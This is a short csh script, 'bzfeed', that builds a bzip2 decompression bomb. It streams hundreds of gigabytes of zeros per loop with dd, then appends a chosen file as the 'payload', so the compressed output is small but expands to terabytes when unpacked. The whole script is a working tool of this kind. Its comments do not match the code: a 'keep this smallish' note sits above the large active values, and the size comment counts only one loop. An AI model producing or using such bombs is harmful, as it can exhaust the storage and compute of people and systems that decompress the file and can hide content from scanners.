#!/bin/csh
#   bzfeed
# - shell script to
# pack first argument into a bzip-bomb - behind a massive amount of zeroes
#
# usage: ./bzfeed infile | bzip2 -c > outfile.bz2
#
# don't do anything without an input file name
if ( $?argv ) then
# @ times = 4096
  @ times = 8
  while ( $times > 0 )
    @ times--
# the number of zero bytes generated is bs * count
#    dd if=/dev/zero bs=4096 count=65536
# - - - for tests, keep this smallish, otherwise it takes ages
    dd if=/dev/zero bs=65536 count=8388608
# the values here generate about 500 Gigabytes' worth of zeroed file
  end
# this is the payload
  cat $argv[1]
endif
exit
